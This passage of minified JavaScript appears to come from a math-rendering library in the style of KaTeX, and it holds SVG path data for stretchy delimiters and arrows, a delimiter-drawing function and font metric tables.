548l-6-6v-35l6-11c56-104 135.3-181.3 238-232 57.3-28.7 117 +-45 179-50h399577v120H403c-43.3 7-81 15-113 26-100.7 33-179.7 91-237 174-2.7 + 5-6 9-10 13-.7 1-7.3 1-20 1H6z`,leftbraceunder:`M0 6l6-6h17c12.688 0 19.313.3 20 1 4 4 7.313 8.3 10 13 + 35.313 51.3 80.813 93.8 136.5 127.5 55.688 33.7 117.188 55.8 184.5 66.5.688 + 0 2 .3 4 1 18.688 2.7 76 4.3 172 5h399450v120H429l-6-1c-124.688-8-235-61.7 +-331-161C60.687 138.7 32.312 99.3 7 54L0 41V6z`,leftgroup:`M400000 80 +H435C64 80 168.3 229.4 21 260c-5.9 1.2-18 0-18 0-2 0-3-1-3-3v-38C76 61 257 0 + 435 0h399565z`,leftgroupunder:`M400000 262 +H435C64 262 168.3 112.6 21 82c-5.9-1.2-18 0-18 0-2 0-3 1-3 3v38c76 158 257 219 + 435 219h399565z`,leftharpoon:`M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3 +-3.3 10.2-9.5 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5 +-18.3 3-21-1.3-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7 +-196 228-6.7 4.7-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40z`,leftharpoonplus:`M0 267c.7 5.3 3 10 7 14h399993v-40H93c3.3-3.3 10.2-9.5 + 20.5-18.5s17.8-15.8 22.5-20.5c50.7-52 88-110.3 112-175 4-11.3 5-18.3 3-21-1.3 +-4-7.3-6-18-6-8 0-13 .7-15 2s-4.7 6.7-8 16c-42 98.7-107.3 174.7-196 228-6.7 4.7 +-10.7 8-12 10-1.3 2-2 5.7-2 11zm100-26v40h399900v-40zM0 435v40h400000v-40z +m0 0v40h400000v-40z`,leftharpoondown:`M7 241c-4 4-6.333 8.667-7 14 0 5.333.667 9 2 11s5.333 + 5.333 12 10c90.667 54 156 130 196 228 3.333 10.667 6.333 16.333 9 17 2 .667 5 + 1 9 1h5c10.667 0 16.667-2 18-6 2-2.667 1-9.667-3-21-32-87.333-82.667-157.667 +-152-211l-3-3h399907v-40zM93 281 H400000 v-40L7 241z`,leftharpoondownplus:`M7 435c-4 4-6.3 8.7-7 14 0 5.3.7 9 2 11s5.3 5.3 12 + 10c90.7 54 156 130 196 228 3.3 10.7 6.3 16.3 9 17 2 .7 5 1 9 1h5c10.7 0 16.7 +-2 18-6 2-2.7 1-9.7-3-21-32-87.3-82.7-157.7-152-211l-3-3h399907v-40H7zm93 0 +v40h399900v-40zM0 241v40h399900v-40zm0 0v40h399900v-40z`,lefthook:`M400000 281 H103s-33-11.2-61-33.5S0 197.3 0 164s14.2-61.2 42.5 +-83.5C70.8 58.2 104 47 142 47 c16.7 0 25 6.7 25 20 0 12-8.7 18.7-26 20-40 3.3 +-68.7 15.7-86 37-10 12-15 25.3-15 40 0 22.7 9.8 40.7 29.5 54 19.7 13.3 43.5 21 + 71.5 23h399859zM103 281v-40h399897v40z`,leftlinesegment:`M40 281 V428 H0 V94 H40 V241 H400000 v40z +M40 281 V428 H0 V94 H40 V241 H400000 v40z`,leftmapsto:`M40 281 V448H0V74H40V241H400000v40z +M40 281 V448H0V74H40V241H400000v40z`,leftToFrom:`M0 147h400000v40H0zm0 214c68 40 115.7 95.7 143 167h22c15.3 0 23 +-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69-70-101l-7-8h399905v-40H95l7-8 +c28.7-32 52-65.7 70-101 10.7-23.3 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 265.3 + 68 321 0 361zm0-174v-40h399900v40zm100 154v40h399900v-40z`,longequal:`M0 50 h400000 v40H0z m0 194h40000v40H0z +M0 50 h400000 v40H0z m0 194h40000v40H0z`,midbrace:`M200428 334 +c-100.7-8.3-195.3-44-280-108-55.3-42-101.7-93-139-153l-9-14c-2.7 4-5.7 8.7-9 14 +-53.3 86.7-123.7 153-211 199-66.7 36-137.3 56.3-212 62H0V214h199568c178.3-11.7 + 311.7-78.3 403-201 6-8 9.7-12 11-12 .7-.7 6.7-1 18-1s17.3.3 18 1c1.3 0 5 4 11 + 12 44.7 59.3 101.3 106.3 170 141s145.3 54.3 229 60h199572v120z`,midbraceunder:`M199572 214 +c100.7 8.3 195.3 44 280 108 55.3 42 101.7 93 139 153l9 14c2.7-4 5.7-8.7 9-14 + 53.3-86.7 123.7-153 211-199 66.7-36 137.3-56.3 212-62h199568v120H200432c-178.3 + 11.7-311.7 78.3-403 201-6 8-9.7 12-11 12-.7.7-6.7 1-18 1s-17.3-.3-18-1c-1.3 0 +-5-4-11-12-44.7-59.3-101.3-106.3-170-141s-145.3-54.3-229-60H0V214z`,oiintSize1:`M512.6 71.6c272.6 0 320.3 106.8 320.3 178.2 0 70.8-47.7 177.6 +-320.3 177.6S193.1 320.6 193.1 249.8c0-71.4 46.9-178.2 319.5-178.2z +m368.1 178.2c0-86.4-60.9-215.4-368.1-215.4-306.4 0-367.3 129-367.3 215.4 0 85.8 +60.9 214.8 367.3 214.8 307.2 0 368.1-129 368.1-214.8z`,oiintSize2:`M757.8 100.1c384.7 0 451.1 137.6 451.1 230 0 91.3-66.4 228.8 +-451.1 228.8-386.3 0-452.7-137.5-452.7-228.8 0-92.4 66.4-230 452.7-230z +m502.4 230c0-111.2-82.4-277.2-502.4-277.2s-504 166-504 277.2 +c0 110 84 276 504 276s502.4-166 502.4-276z`,oiiintSize1:`M681.4 71.6c408.9 0 480.5 106.8 480.5 178.2 0 70.8-71.6 177.6 +-480.5 177.6S202.1 320.6 202.1 249.8c0-71.4 70.5-178.2 479.3-178.2z +m525.8 178.2c0-86.4-86.8-215.4-525.7-215.4-437.9 0-524.7 129-524.7 215.4 0 +85.8 86.8 214.8 524.7 214.8 438.9 0 525.7-129 525.7-214.8z`,oiiintSize2:`M1021.2 53c603.6 0 707.8 165.8 707.8 277.2 0 110-104.2 275.8 +-707.8 275.8-606 0-710.2-165.8-710.2-275.8C311 218.8 415.2 53 1021.2 53z +m770.4 277.1c0-131.2-126.4-327.6-770.5-327.6S248.4 198.9 248.4 330.1 +c0 130 128.8 326.4 772.7 326.4s770.5-196.4 770.5-326.4z`,rightarrow:`M0 241v40h399891c-47.3 35.3-84 78-110 128 +-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 + 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 + 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85 +-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5 +-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 + 151.7 139 205zm0 0v40h399900v-40z`,rightbrace:`M400000 542l +-6 6h-17c-12.7 0-19.3-.3-20-1-4-4-7.3-8.3-10-13-35.3-51.3-80.8-93.8-136.5-127.5 +s-117.2-55.8-184.5-66.5c-.7 0-2-.3-4-1-18.7-2.7-76-4.3-172-5H0V214h399571l6 1 +c124.7 8 235 61.7 331 161 31.3 33.3 59.7 72.7 85 118l7 13v35z`,rightbraceunder:`M399994 0l6 6v35l-6 11c-56 104-135.3 181.3-238 232-57.3 + 28.7-117 45-179 50H-300V214h399897c43.3-7 81-15 113-26 100.7-33 179.7-91 237 +-174 2.7-5 6-9 10-13 .7-1 7.3-1 20-1h17z`,rightgroup:`M0 80h399565c371 0 266.7 149.4 414 180 5.9 1.2 18 0 18 0 2 0 + 3-1 3-3v-38c-76-158-257-219-435-219H0z`,rightgroupunder:`M0 262h399565c371 0 266.7-149.4 414-180 5.9-1.2 18 0 18 + 0 2 0 3 1 3 3v38c-76 158-257 219-435 219H0z`,rightharpoon:`M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3 +-3.7-15.3-11-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2 +-10.7 0-16.7 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 + 69.2 92 94.5zm0 0v40h399900v-40z`,rightharpoonplus:`M0 241v40h399993c4.7-4.7 7-9.3 7-14 0-9.3-3.7-15.3-11 +-18-92.7-56.7-159-133.7-199-231-3.3-9.3-6-14.7-8-16-2-1.3-7-2-15-2-10.7 0-16.7 + 2-18 6-2 2.7-1 9.7 3 21 15.3 42 36.7 81.8 64 119.5 27.3 37.7 58 69.2 92 94.5z +m0 0v40h399900v-40z m100 194v40h399900v-40zm0 0v40h399900v-40z`,rightharpoondown:`M399747 511c0 7.3 6.7 11 20 11 8 0 13-.8 15-2.5s4.7-6.8 + 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 8.5-5.8 9.5 +-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3-64.7 57-92 95 +-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 241v40h399900v-40z`,rightharpoondownplus:`M399747 705c0 7.3 6.7 11 20 11 8 0 13-.8 + 15-2.5s4.7-6.8 8-15.5c40-94 99.3-166.3 178-217 13.3-8 20.3-12.3 21-13 5.3-3.3 + 8.5-5.8 9.5-7.5 1-1.7 1.5-5.2 1.5-10.5s-2.3-10.3-7-15H0v40h399908c-34 25.3 +-64.7 57-92 95-27.3 38-48.7 77.7-64 119-3.3 8.7-5 14-5 16zM0 435v40h399900v-40z +m0-194v40h400000v-40zm0 0v40h400000v-40z`,righthook:`M399859 241c-764 0 0 0 0 0 40-3.3 68.7-15.7 86-37 10-12 15-25.3 + 15-40 0-22.7-9.8-40.7-29.5-54-19.7-13.3-43.5-21-71.5-23-17.3-1.3-26-8-26-20 0 +-13.3 8.7-20 26-20 38 0 71 11.2 99 33.5 0 0 7 5.6 21 16.7 14 11.2 21 33.5 21 + 66.8s-14 61.2-42 83.5c-28 22.3-61 33.5-99 33.5L0 241z M0 281v-40h399859v40z`,rightlinesegment:`M399960 241 V94 h40 V428 h-40 V281 H0 v-40z +M399960 241 V94 h40 V428 h-40 V281 H0 v-40z`,rightToFrom:`M400000 167c-70.7-42-118-97.7-142-167h-23c-15.3 0-23 .3-23 + 1 0 1.3 5.3 13.7 16 37 18 35.3 41.3 69 70 101l7 8H0v40h399905l-7 8c-28.7 32 +-52 65.7-70 101-10.7 23.3-16 35.7-16 37 0 .7 7.7 1 23 1h23c24-69.3 71.3-125 142 +-167z M100 147v40h399900v-40zM0 341v40h399900v-40z`,twoheadleftarrow:`M0 167c68 40 + 115.7 95.7 143 167h22c15.3 0 23-.3 23-1 0-1.3-5.3-13.7-16-37-18-35.3-41.3-69 +-70-101l-7-8h125l9 7c50.7 39.3 85 86 103 140h46c0-4.7-6.3-18.7-19-42-18-35.3 +-40-67.3-66-96l-9-9h399716v-40H284l9-9c26-28.7 48-60.7 66-96 12.7-23.333 19 +-37.333 19-42h-46c-18 54-52.3 100.7-103 140l-9 7H95l7-8c28.7-32 52-65.7 70-101 + 10.7-23.333 16-35.7 16-37 0-.7-7.7-1-23-1h-22C115.7 71.3 68 127 0 167z`,twoheadrightarrow:`M400000 167 +c-68-40-115.7-95.7-143-167h-22c-15.3 0-23 .3-23 1 0 1.3 5.3 13.7 16 37 18 35.3 + 41.3 69 70 101l7 8h-125l-9-7c-50.7-39.3-85-86-103-140h-46c0 4.7 6.3 18.7 19 42 + 18 35.3 40 67.3 66 96l9 9H0v40h399716l-9 9c-26 28.7-48 60.7-66 96-12.7 23.333 +-19 37.333-19 42h46c18-54 52.3-100.7 103-140l9-7h125l-7 8c-28.7 32-52 65.7-70 + 101-10.7 23.333-16 35.7-16 37 0 .7 7.7 1 23 1h22c27.3-71.3 75-127 143-167z`,tilde1:`M200 55.538c-77 0-168 73.953-177 73.953-3 0-7 +-2.175-9-5.437L2 97c-1-2-2-4-2-6 0-4 2-7 5-9l20-12C116 12 171 0 207 0c86 0 + 114 68 191 68 78 0 168-68 177-68 4 0 7 2 9 5l12 19c1 2.175 2 4.35 2 6.525 0 + 4.35-2 7.613-5 9.788l-19 13.05c-92 63.077-116.937 75.308-183 76.128 +-68.267.847-113-73.952-191-73.952z`,tilde2:`M344 55.266c-142 0-300.638 81.316-311.5 86.418 +-8.01 3.762-22.5 10.91-23.5 5.562L1 120c-1-2-1-3-1-4 0-5 3-9 8-10l18.4-9C160.9 + 31.9 283 0 358 0c148 0 188 122 331 122s314-97 326-97c4 0 8 2 10 7l7 21.114 +c1 2.14 1 3.21 1 4.28 0 5.347-3 9.626-7 10.696l-22.3 12.622C852.6 158.372 751 + 181.476 676 181.476c-149 0-189-126.21-332-126.21z`,tilde3:`M786 59C457 59 32 175.242 13 175.242c-6 0-10-3.457 +-11-10.37L.15 138c-1-7 3-12 10-13l19.2-6.4C378.4 40.7 634.3 0 804.3 0c337 0 + 411.8 157 746.8 157 328 0 754-112 773-112 5 0 10 3 11 9l1 14.075c1 8.066-.697 + 16.595-6.697 17.492l-21.052 7.31c-367.9 98.146-609.15 122.696-778.15 122.696 + -338 0-409-156.573-744-156.573z`,tilde4:`M786 58C457 58 32 177.487 13 177.487c-6 0-10-3.345 +-11-10.035L.15 143c-1-7 3-12 10-13l22-6.7C381.2 35 637.15 0 807.15 0c337 0 409 + 177 744 177 328 0 754-127 773-127 5 0 10 3 11 9l1 14.794c1 7.805-3 13.38-9 + 14.495l-20.7 5.574c-366.85 99.79-607.3 139.372-776.3 139.372-338 0-409 + -175.236-744-175.236z`,vec:`M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5 +3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11 +10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63 +-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1 +-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59 +H213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359 +c-16-25.333-24-45-24-59z`,widehat1:`M529 0h5l519 115c5 1 9 5 9 10 0 1-1 2-1 3l-4 22 +c-1 5-5 9-11 9h-2L532 67 19 159h-2c-5 0-9-4-11-9l-5-22c-1-6 2-12 8-13z`,widehat2:`M1181 0h2l1171 176c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 220h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widehat3:`M1181 0h2l1171 236c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 280h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widehat4:`M1181 0h2l1171 296c6 0 10 5 10 11l-2 23c-1 6-5 10 +-11 10h-1L1182 67 15 340h-1c-6 0-10-4-11-10l-2-23c-1-6 4-11 10-11z`,widecheck1:`M529,159h5l519,-115c5,-1,9,-5,9,-10c0,-1,-1,-2,-1,-3l-4,-22c-1, +-5,-5,-9,-11,-9h-2l-512,92l-513,-92h-2c-5,0,-9,4,-11,9l-5,22c-1,6,2,12,8,13z`,widecheck2:`M1181,220h2l1171,-176c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,153l-1167,-153h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,widecheck3:`M1181,280h2l1171,-236c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,213l-1167,-213h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,widecheck4:`M1181,340h2l1171,-296c6,0,10,-5,10,-11l-2,-23c-1,-6,-5,-10, +-11,-10h-1l-1168,273l-1167,-273h-1c-6,0,-10,4,-11,10l-2,23c-1,6,4,11,10,11z`,baraboveleftarrow:`M400000 620h-399890l3 -3c68.7 -52.7 113.7 -120 135 -202 +c4 -14.7 6 -23 6 -25c0 -7.3 -7 -11 -21 -11c-8 0 -13.2 0.8 -15.5 2.5 +c-2.3 1.7 -4.2 5.8 -5.5 12.5c-1.3 4.7 -2.7 10.3 -4 17c-12 48.7 -34.8 92 -68.5 130 +s-74.2 66.3 -121.5 85c-10 4 -16 7.7 -18 11c0 8.7 6 14.3 18 17c47.3 18.7 87.8 47 +121.5 85s56.5 81.3 68.5 130c0.7 2 1.3 5 2 9s1.2 6.7 1.5 8c0.3 1.3 1 3.3 2 6 +s2.2 4.5 3.5 5.5c1.3 1 3.3 1.8 6 2.5s6 1 10 1c14 0 21 -3.7 21 -11 +c0 -2 -2 -10.3 -6 -25c-20 -79.3 -65 -146.7 -135 -202l-3 -3h399890z +M100 620v40h399900v-40z M0 241v40h399900v-40zM0 241v40h399900v-40z`,rightarrowabovebar:`M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32 +-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 +13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39 +-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5 +-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5 +-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 +151.7 139 205zm96 379h399894v40H0zm0 0h399904v40H0z`,baraboveshortleftharpoon:`M507,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11 +c1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17 +c2,0.7,5,1,9,1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21 +c-32,-87.3,-82.7,-157.7,-152,-211c0,0,-3,-3,-3,-3l399351,0l0,-40 +c-398570,0,-399437,0,-399437,0z M593 435 v40 H399500 v-40z +M0 281 v-40 H399908 v40z M0 281 v-40 H399908 v40z`,rightharpoonaboveshortbar:`M0,241 l0,40c399126,0,399993,0,399993,0 +c4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199, +-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6 +c-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z +M0 241 v40 H399908 v-40z M0 475 v-40 H399500 v40z M0 475 v-40 H399500 v40z`,shortbaraboveleftharpoon:`M7,435c-4,4,-6.3,8.7,-7,14c0,5.3,0.7,9,2,11 +c1.3,2,5.3,5.3,12,10c90.7,54,156,130,196,228c3.3,10.7,6.3,16.3,9,17c2,0.7,5,1,9, +1c0,0,5,0,5,0c10.7,0,16.7,-2,18,-6c2,-2.7,1,-9.7,-3,-21c-32,-87.3,-82.7,-157.7, +-152,-211c0,0,-3,-3,-3,-3l399907,0l0,-40c-399126,0,-399993,0,-399993,0z +M93 435 v40 H400000 v-40z M500 241 v40 H400000 v-40z M500 241 v40 H400000 v-40z`,shortrightharpoonabovebar:`M53,241l0,40c398570,0,399437,0,399437,0 +c4.7,-4.7,7,-9.3,7,-14c0,-9.3,-3.7,-15.3,-11,-18c-92.7,-56.7,-159,-133.7,-199, +-231c-3.3,-9.3,-6,-14.7,-8,-16c-2,-1.3,-7,-2,-15,-2c-10.7,0,-16.7,2,-18,6 +c-2,2.7,-1,9.7,3,21c15.3,42,36.7,81.8,64,119.5c27.3,37.7,58,69.2,92,94.5z +M500 241 v40 H399408 v-40z M500 435 v40 H400000 v-40z`},vTe=o(function(e,r){switch(e){case"lbrack":return"M403 1759 V84 H666 V0 H319 V1759 v"+r+` v1759 h347 v-84 +H403z M403 1759 V0 H319 V1759 v`+r+" v1759 h84z";case"rbrack":return"M347 1759 V0 H0 V84 H263 V1759 v"+r+` v1759 H0 v84 H347z +M347 1759 V0 H263 V1759 v`+r+" v1759 h84z";case"vert":return"M145 15 v585 v"+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M188 15 H145 v585 v`+r+" v585 h43z";case"doublevert":return"M145 15 v585 v"+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M188 15 H145 v585 v`+r+` v585 h43z +M367 15 v585 v`+r+` v585 c2.667,10,9.667,15,21,15 +c10,0,16.667,-5,20,-15 v-585 v`+-r+` v-585 c-2.667,-10,-9.667,-15,-21,-15 +c-10,0,-16.667,5,-20,15z M410 15 H367 v585 v`+r+" v585 h43z";case"lfloor":return"M319 602 V0 H403 V602 v"+r+` v1715 h263 v84 H319z +MM319 602 V0 H403 V602 v`+r+" v1715 H319z";case"rfloor":return"M319 602 V0 H403 V602 v"+r+` v1799 H0 v-84 H319z +MM319 602 V0 H403 V602 v`+r+" v1715 H319z";case"lceil":return"M403 1759 V84 H666 V0 H319 V1759 v"+r+` v602 h84z +M403 1759 V0 H319 V1759 v`+r+" v602 h84z";case"rceil":return"M347 1759 V0 H0 V84 H263 V1759 v"+r+` v602 h84z +M347 1759 V0 h-84 V1759 v`+r+" v602 h84z";case"lparen":return`M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1 +c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349, +-36,557 l0,`+(r+84)+`c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210, +949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9 +c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5, +-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189 +l0,-`+(r+92)+`c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3, +-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z`;case"rparen":return`M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3, +63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5 +c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,`+(r+9)+` +c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664 +c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11 +c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17 +c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558 +l0,-`+(r+144)+`c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7, +-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z`;default:throw new Error("Unknown stretchy delimiter.")}},"tallDelim"),hd=class{static{o(this,"DocumentFragment")}constructor(e){this.children=void 0,this.classes=void 0,this.height=void 0,this.depth=void 0,this.maxFontSize=void 0,this.style=void 0,this.children=e,this.classes=[],this.height=0,this.depth=0,this.maxFontSize=0,this.style={}}hasClass(e){return er.contains(this.classes,e)}toNode(){for(var e=document.createDocumentFragment(),r=0;rr.toText(),"toText");return this.children.map(e).join("")}},Ql={"AMS-Regular":{32:[0,0,0,0,.25],65:[0,.68889,0,0,.72222],66:[0,.68889,0,0,.66667],67:[0,.68889,0,0,.72222],68:[0,.68889,0,0,.72222],69:[0,.68889,0,0,.66667],70:[0,.68889,0,0,.61111],71:[0,.68889,0,0,.77778],72:[0,.68889,0,0,.77778],73:[0,.68889,0,0,.38889],74:[.16667,.68889,0,0,.5],75:[0,.68889,0,0,.77778],76:[0,.68889,0,0,.66667],77:[0,.68889,0,0,.94445],78:[0,.68889,0,0,.72222],79:[.16667,.68889,0,0,.77778],80:[0,.68889,0,0,.61111],81:[.16667,.68889,0,0,.77778],82:[0,.68889,0,0,.72222],83:[0,.68889,0,0,.55556],84:[0,.68889,0,0,.66667],85:[0,.68889,0,0,.72222],86:[0,.68889,0,0,.72222],87:[0,.68889,0,0,1],88:[0,.68889,0,0,.72222],89:[0,.68889,0,0,.72222],90:[0,.68889,0,0,.66667],107:[0,.68889,0,0,.55556],160:[0,0,0,0,.25],165:[0,.675,.025,0,.75],174:[.15559,.69224,0,0,.94666],240:[0,.68889,0,0,.55556],295:[0,.68889,0,0,.54028],710:[0,.825,0,0,2.33334],732:[0,.9,0,0,2.33334],770:[0,.825,0,0,2.33334],771:[0,.9,0,0,2.33334],989:[.08167,.58167,0,0,.77778],1008:[0,.43056,.04028,0,.66667],8245:[0,.54986,0,0,.275],8463:[0,.68889,0,0,.54028],8487:[0,.68889,0,0,.72222],8498:[0,.68889,0,0,.55556],8502:[0,.68889,0,0,.66667],8503:[0,.68889,0,0,.44445],8504:[0,.68889,0,0,.66667],8513:[0,.68889,0,0,.63889],8592:[-.03598,.46402,0,0,.5],8594:[-.03598,.46402,0,0,.5],8602:[-.13313,.36687,0,0,1],8603:[-.13313,.36687,0,0,1],8606:[.01354,.52239,0,0,1],8608:[.01354,.52239,0,0,1],8610:[.01354,.52239,0,0,1.11111],8611:[.01354,.52239,0,0,1.11111],8619:[0,.54986,0,0,1],8620:[0,.54986,0,0,1],8621:[-.13313,.37788,0,0,1.38889],8622:[-.13313,.36687,0,0,1],8624:[0,.69224,0,0,.5],8625:[0,.69224,0,0,.5],8630:[0,.43056,0,0,1],8631:[0,.43056,0,0,1],8634:[.08198,.58198,0,0,.77778],8635:[.08198,.58198,0,0,.77778],8638:[.19444,.69224,0,0,.41667],8639:[.19444,.69224,0,0,.41667],8642:[.19444,.69224,0,0,.41667],8643:[.19444,.69224,0,0,.41667],8644:[.1808,.675,0,0,1],8646:[.1808,.675,0,0,1],8647:[.1808,.675,0,0,1],8648:[.19444,.69224,0,0,.83334],8649:[.1808,.675,0,0,1],8650:[.19444,.69224,0,0,.83334],8651:[.01354,.52239,0,0,1],8652:[.01354,.52239,0,0,1],8653:[-.13313,.36687,0,0,1],8654:[-.13313,.36687,0,0,1],8655:[-.13313,.36687,0,0,1],8666:[.13667,.63667,0,0,1],8667:[.13667,.63667,0,0,1],8669:[-.13313,.37788,0,0,1],8672:[-.064,.437,0,0,1.334],8674:[-.064,.437,0,0,1.334],8705:[0,.825,0,0,.5],8708:[0,.68889,0,0,.55556],8709:[.08167,.58167,0,0,.77778],8717:[0,.43056,0,0,.42917],8722:[-.03598,.46402,0,0,.5],8724:[.08198,.69224,0,0,.77778],8726:[.08167,.58167,0,0,.77778],8733:[0,.69224,0,0,.77778],8736:[0,.69224,0,0,.72222],8737:[0,.69224,0,0,.72222],8738:[.03517,.52239,0,0,.72222],8739:[.08167,.58167,0,0,.22222],8740:[.25142,.74111,0,0,.27778],8741:[.08167,.58167,0,0,.38889],8742:[.25142,.74111,0,0,.5],8756:[0,.69224,0,0,.66667],8757:[0,.69224,0,0,.66667],8764:[-.13313,.36687,0,0,.77778],8765:[-.13313,.37788,0,0,.77778],8769:[-.13313,.36687,0,0,.77778],8770:[-.03625,.46375,0,0,.77778],8774:[.30274,.79383,0,0,.77778],8776:[-.01688,.48312,0,0,.77778],8778:[.08167,.58167,0,0,.77778],8782:[.06062,.54986,0,0,.77778],8783:[.06062,.54986,0,0,.77778],8785:[.08198,.58198,0,0,.77778],8786:[.08198,.58198,0,0,.77778],8787:[.08198,.58198,0,0,.77778],8790:[0,.69224,0,0,.77778],8791:[.22958,.72958,0,0,.77778],8796:[.08198,.91667,0,0,.77778],8806:[.25583,.75583,0,0,.77778],8807:[.25583,.75583,0,0,.77778],8808:[.25142,.75726,0,0,.77778],8809:[.25142,.75726,0,0,.77778],8812:[.25583,.75583,0,0,.5],8814:[.20576,.70576,0,0,.77778],8815:[.20576,.70576,0,0,.77778],8816:[.30274,.79383,0,0,.77778],8817:[.30274,.79383,0,0,.77778],8818:[.22958,.72958,0,0,.77778],8819:[.22958,.72958,0,0,.77778],8822:[.1808,.675,0,0,.77778],8823:[.1808,.675,0,0,.77778],8828:[.13667,.63667,0,0,.77778],8829:[.13667,.63667,0,0,.77778],8830:[.22958,.72958,0,0,.77778],8831:[.22958,.72958,0,0,.77778],8832:[.20576,.70576,0,0,.77778],8833:[.20576,.70576,0,0,.77778],8840:[.30274,.79383,0,0,.77778],8841:[.30274,.79383,0,0,.77778],8842:[.13597,.63597,0,0,.77778],8843:[.13597,.63597,0,0,.77778],8847:[.03517,.54986,0,0,.77778],8848:[.03517,.54986,0,0,.77778],8858:[.08198,.58198,0,0,.77778],8859:[.